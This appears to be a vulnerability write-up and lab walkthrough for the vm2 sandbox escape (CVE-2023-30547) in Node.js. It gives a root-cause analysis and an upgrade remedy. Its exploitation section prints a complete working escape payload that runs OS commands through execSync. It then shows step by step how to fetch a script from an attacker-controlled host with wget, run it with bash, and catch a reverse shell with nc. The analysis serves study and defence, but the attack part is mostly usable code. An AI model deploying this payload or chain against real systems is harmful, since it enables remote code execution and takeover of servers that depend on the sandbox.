Node.js vm2 module could allow a remote attacker to execute arbitrary code on the system, caused by a sandbox escape flaw in the handleException() function. By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code in host context.

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules. There exists a vulnerability in exception sanitization of vm2 for versions up to 3.9.16, allowing attackers to raise an unsanitized host exception inside `handleException()` which can be used to escape the sandbox and run arbitrary code in host context.

Analysis

As host exceptions may leak host objects into the sandbox, code is preprocessed with transformer() in order to instrument the code with handleException() sanitizer function calls.

  • For CatchClause with ObjectPattern the code calls handleException() and then re-throws the sanitized exception inside a nested try-catch. (lib/transformer.js:121)
  • handleException() function is an alias of thisEnsureThis(), which in turn calls thisReflectGetPrototypeOf(other) (again, an alias of Reflect.getPrototypeOf()) to access the object's prototype (lib/bridge.js:835).

However, this may be proxied through a getPrototypeOf() proxy handler which can by itself throw an unsanitized host exception, resulting in the outer catch statement receiving it.

An attacker may use any method to raise a non-proxied host exception (test/vm.js:1082 for example) inside a getPrototypeOf() proxy handler, register it to an object and throw it to leak host exception, and finally use it to access host Function, escaping the sandbox.

Affected Products

Node.js vm2 3.9.16

Exploitation

1. Having an application that can execute nodejs code in a “secure” VM using (vm2) module, we can execute the following code, replace execSync('<command>); with the OS command you want

//The vm2 library provides a secure JavaScript VM (virtual machine) for Node.js.
// The VM class allows you to create an isolated environment to run JavaScript code.
const {VM} = require("vm2");

//This line creates a new instance of the VM class.
//This instance will be used to run the JavaScript code in a sandboxed environment.
const vm = new VM();

// This code is a self-contained JavaScript snippet that is wrapped as a string.
// It creates an object (err), defines a Proxy (proxiedErr),
// and then uses a combination of throw and catch to execute a payload that invokes the execSync method from the child_process module.
// The payload seems to exploit the ability to manipulate the stack trace (Error().stack) and utilizes Proxy to trigger a sequence of code execution.
const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};

const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('<command>'); // replace <command> with your OS command
}`

// This line executes the JavaScript code stored in the code variable within the virtual machine created earlier.
// The result of vm.run(code) is logged to the console.
console.log(vm.run(code));

2. For testing purposes I will test ping command

  • execSync('ping -c 2 10.10.14.166');

3. First I will capture traffic on my network interface

  • ifconfig
  • sudo tcpdump -i tun0 icmp

4. Now execute the code in the web console that runs nodejs (3.9.16) vm2

5. looking at the CLI console in our machine, we see the traffic reaching us

6. Knowing the command executed, and we receive traffic we can try a reverse shell, first, start a listener in your local machine

  • nc -lvp 4444

7. now execute a bash reverse shell command I created a bash file in my local computer, and transferred it via web service

  • cat shell1.sh
  • python3 -m http.server 8888

8. Then from the website I transferred the shell1.sh into the web server

  • execSync('wget http://10.10.14.166:8888/shell1.sh');
  • execSync('ls -la');

9. Then I ran a command to execute the script

  • execSync('whereis bash');
  • execSync('/usr/bin/bash shell1.sh');

Remedy

This vulnerability was patched in the release of version `3.9.17` of `vm2`. There are no known workarounds for this vulnerability. Users are advised to upgrade.

Sources

https://exchange.xforce.ibmcloud.com/vulnerabilities/253006

https://github.com/patriksimek/vm2/security/advisories/GHSA-ch3r-j5x3-6q2m

https://www.ibm.com/support/pages/node/6998381

https://github.com/advisories/GHSA-ch3r-j5x3-6q2m

https://www.cve.org/CVERecord?id=CVE-2023-30547

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244